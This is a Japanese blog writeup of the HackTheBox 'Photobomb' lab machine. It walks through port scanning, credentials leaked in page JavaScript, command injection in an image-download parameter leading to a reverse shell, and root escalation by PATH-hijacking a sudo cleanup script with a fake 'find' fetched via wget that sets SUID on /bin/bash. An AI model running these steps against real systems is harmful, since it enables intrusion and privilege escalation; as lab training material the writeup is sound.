2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【HackTheBox】Photobomb - Writeup

Last updated at Posted at 2023-12-31

まえがき

この記事はPhotobombのWriteupです📝
Photobomb.png

Machine Info

Name: Photobomb
IP Address: 10.10.11.182
OS: Linux 🐧

Recon

Port Scan - Nmap

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nmap 10.10.11.182 -Pn -v -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-27 15:57 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating SYN Stealth Scan at 15:57
Scanning photobomb.htb (10.10.11.182) [1000 ports]
Discovered open port 22/tcp on 10.10.11.182
Discovered open port 80/tcp on 10.10.11.182
Completed SYN Stealth Scan at 15:57, 2.66s elapsed (1000 total ports)
Initiating Service scan at 15:57
Scanning 2 services on photobomb.htb (10.10.11.182)
Completed Service scan at 15:57, 6.55s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #2) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #3) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #4) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #5) against photobomb.htb (10.10.11.182)
Initiating Traceroute at 15:57
Completed Traceroute at 15:57, 0.28s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.05s elapsed
NSE: Script scanning 10.10.11.182.
Initiating NSE at 15:57
Completed NSE at 15:58, 9.52s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 1.23s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Photobomb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/27%OT=22%CT=1%CU=38596%PV=Y%DS=2%DC=T%G=Y%TM=658
OS:BCB00%P=aarch64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10F%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%
OS:O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Uptime guess: 16.641 days (since Mon Dec 11 00:35:28 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT       ADDRESS
1   270.58 ms 10.10.14.1
2   270.93 ms photobomb.htb (10.10.11.182)

NSE: Script Post-scanning.
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds
           Raw packets sent: 1121 (53.374KB) | Rcvd: 1082 (46.782KB)

22番と80番のポートが開いていることがわかる。

Name Resolution

名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく。

10.10.11.182	photobomb.htb

Site - photobomb.htb

実際にアクセスしてみるとこんなページが見つかる。
スクリーンショット 2023-12-30 20.53.16.png

click here!も確認してみる。

photobomb.htb/printer
スクリーンショット 2023-12-30 21.04.54.png

Enumeration

他に見落としがないか確認していく。

dirsearch

──(kali㉿kali)-[~/Desktop/work]
└─$ dirsearch -u http://photobomb.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/work/reports/http_photobomb.htb/_23-12-24_14-14-59.txt

Target: http://photobomb.htb/

[14:14:59] Starting: 
[14:16:15] 200 -   11KB - /favicon.ico
[14:16:48] 401 -  590B  - /printer

Task Completed

あまり注目すべき階層はなかったようだ。
photobomb.htb/printerの調査に戻ることにしよう。

photobomb.htb/printer

スクリーンショット 2023-12-30 21.04.54.png
どうやらUsernamePasswordが必要なようだ。

Recon - Burp

BurpSuite

BurpSuiteを立ち上げて、調査を進める。

admin:adminで試してみるも、失敗。
スクリーンショット 2023-12-30 22.46.53.png
basic認証でBase64エンコーディングでエンコードされる。


リクエストを辿っていると、こんな興味深いものを見つけた。

スクリーンショット 2023-12-30 22.37.27.png

Response部分の以下の部分に注目だ。

// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');

このことからCookie存在下で、Jamesonが技術サポートのために資格情報を自動的に設定するようになっている。
今回の場合、pH0t0b0Mb!でユーザー名とパスワードの形式を取っている。
pH0t0:b0Mb!で再度ログインを試してみよう。


成功。
スクリーンショット 2023-12-30 23.01.17.png

どうやらこのページでは、任意の写真形式サイズを選択して、画像をダウンロードすることができるらしい。

Identification of Vulnerbility

脆弱性がある可能性があるため、特定していこう。

Exiftool

┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg 
ExifTool Version Number         : 12.67
File Name                       : voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg
Directory                       : .
File Size                       : 273 kB
File Modification Date/Time     : 2023:12:24 14:42:20+09:00
File Access Date/Time           : 2023:12:24 14:42:23+09:00
File Inode Change Date/Time     : 2023:12:24 14:42:20+09:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Profile CMM Type                : Little CMS
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2012:01:25 03:41:57
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 0
Profile Description             : c2
Profile Copyright               : IX
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0.01205 0.0125 0.01031
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
Image Width                     : 3000
Image Height                    : 2000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3000x2000
Megapixels                      : 6.0

ダウンロードした画像をExiftoolで確認してみるも、特に有益な情報は手に入らなかった。

Analyzing Downloaded Files with Burp

ダウンロード時のリクエストだ。(Intercept→Repeaterで確認しよう)
スクリーンショット 2023-12-30 23.43.14.png

photofiletypedimentions部分でバリデーションができそうだと予想がつく。

Several approaches to validation

まず各パラメータに;を入力した時のレスポンスを確認。

photo
スクリーンショット 2023-12-30 23.49.43.png

Sourse photo does not exist.とレスポンスが返ってきた。
そもそもphoto名を改変して何かできることはなさそう。

filetype
スクリーンショット 2023-12-31 0.06.13.png
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpgとレスポンスが返ってきた。

dimentions
スクリーンショット 2023-12-31 0.16.33.png
Invalid dimensions.とレスポンスが返ってきた。

次に自分に向けてpingをおくってみる。

トラフィックをキャプチャしておく事前準備をしておく。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

これで準備はおk。

前述したように、そもそもphoto名が違うとリクエストがその時点で弾かれそうなのでfiletypeから調査していく。

filetype

filetypeのパラメータ部分にpingコマンドを入力。(エンコーディングを忘れずに)

;ping+10.10.14.4+-c+3 #回数はお好みで;)

しっかりと返ってきているっぽいですね!!
スクリーンショット 2023-12-31 1.38.01.png

dimentions
念の為にこちらのパラメータでも試しておく。
スクリーンショット 2023-12-31 1.57.37.png
返ってこない。ダメっぽい😇

Exploit the Vulnerbility - CMD injection

pingの検証からCommand Injectionの脆弱性を発見した。

さて、Reverse Shellを送り込むようにしよう。

Establishing a Reverse Shell

このページを参考にして、Reverse Shellを作っていく。

IP部分はip aコマンド等で確認しておく。【tun0】

リスナーもたてておく。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.182] 37312

URL Encodeにしておくのを忘れずに。
スクリーンショット 2023-12-31 2.16.42.png

送り込む。
スクリーンショット 2023-12-31 2.30.55.png

成功。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.182] 41754
wizard@photobomb:~/photobomb$ whoami
whoami
wizard

Analysis & Recon

色々探索👀...

wizard@photobomb:~/photobomb$ cd
cd
wizard@photobomb:~$ ls -lta
ls -lta
total 44
drwxrwxr-x 6 wizard wizard 4096 Dec 30 17:34 photobomb
-rw-r----- 1 root   wizard   33 Dec 30 11:58 user.txt
drwx------ 3 wizard wizard 4096 Sep 16  2022 .gnupg
drwxr-xr-x 3 root   root   4096 Sep 16  2022 ..
drwxrwxr-x 4 wizard wizard 4096 Sep 16  2022 .gem
drwx------ 2 wizard wizard 4096 Sep 16  2022 .cache
drwxr-xr-x 7 wizard wizard 4096 Sep 16  2022 .
drwxrwxr-x 3 wizard wizard 4096 Sep 16  2022 .local
lrwxrwxrwx 1 wizard wizard    9 Mar 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 wizard wizard  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 wizard wizard 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 wizard wizard  807 Feb 25  2020 .profile
wizard@photobomb:~$ cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag

user.txtを発見。

Privilege Escalation

wizardの実行可能権限を確認する。

wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

/opt/cleanup.shが実行できる。

Exploiting cleanup.sh

cleanup.shの中身を確認してみよう。

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

find部分に注目だ。絶対パスで指定されていない。
相対パスで指定されていない場合、特定のバイナリやファイルが異なる場所から呼び出されてしまう可能性がある。

即ち、予期していないバイナリが実行される可能性があるということだ。この脆弱性を悪用していく。

ここら辺のことが理解するのが難しいのであれば、以下を参考にするといい。


findというファイルを作成して、権限昇格用のコマンドを書き込んでおく。

chmod +s /bin/bash

次にサーバをたてておく。(findを作った同じ階層で)

┌──(kali㉿kali)-[~/Desktop/work]
└─$ python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...

ターゲットマシンでwgetを実行しfindを手にいれる。(/tmp階層)

wizard@photobomb:/tmp$ wget http://10.10.14.4/find
wget http://10.10.14.4/find
--2023-12-25 06:05:55--  http://10.10.14.4/find
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 70440 (69K) [application/octet-stream]
Saving to: ‘find’

find                100%[===================>]  68.79K   111KB/s    in 0.6s    

2023-12-25 06:05:57 (111 KB/s) - ‘find’ saved [70440/70440]

findに実行権限がついていないため、つけておく。

wizard@photobomb:/tmp$ ls -lta
ls -lta
total 124
drwxrwxrwt 13 root   root    4096 Dec 25 06:31 .
-rw-r--r--  1 wizard wizard 70536 Dec 25 06:30 find
drwx------  2 wizard wizard  4096 Dec 25 02:45 tmux-1000
drwx------  2 root   root    4096 Dec 25 02:33 vmware-root_670-2722828838
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-resolved.service-aHi1Ii
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-ModemManager.service-NQyZ0g
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-logind.service-3PWRBh
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-timesyncd.service-1Yrofg
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .font-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .ICE-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .Test-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .X11-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .XIM-unix
drwxr-xr-x 18 root   root    4096 Sep 16  2022 ..
wizard@photobomb:/tmp$ chmod +x find

次にprintenvでPathの優先順位を確認しておく。

wizard@photobomb:~/photobomb$ printenv                               
printenv
SHELL=/bin/bash
PWD=/home/wizard/photobomb
LOGNAME=wizard
HOME=/home/wizard
LANG=en_US.UTF-8
LS_COLORS=
INVOCATION_ID=a92aca81d2b0475295484a74d88e3638
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=wizard
SHLVL=4
JOURNAL_STREAM=9:32066
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/tmp
_=/usr/bin/printenv

PATHのところに注目すると、今現在のPathの優先順位はusrから降順となっている。
ここら辺のところがまだわからない人は、こちらの記事をぜひ参考にするのがいい。

cleanup.shを実行させる時と同時にPathを追加(wgetで得たfindがある階層/tmp)させておく。
(Path追加と実行を別々にやるのはNG。)

wizard@photobomb:~/photobomb$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:~/photobomb$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

bash -pで特権モードで起動。

wizard@photobomb:~/photobomb$ bash -p
bash -p
bash-5.0# id
id
uid=1000(wizard) gid=1000(wizard) euid=0(root) egid=0(root) groups=0(root),1000(wizard)
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
root.txt
bash-5.0# cat root.txt
cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag

Root Flagも見つけられることが出来た。

あとがき

今回は主にコマンドインジェクション・フルパスでの設定不足の脆弱性が挙げられた。

rootで実行されるコマンドでの相対パスの設定はあまりよくないため、絶対パスでの指定をしておきましょう。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?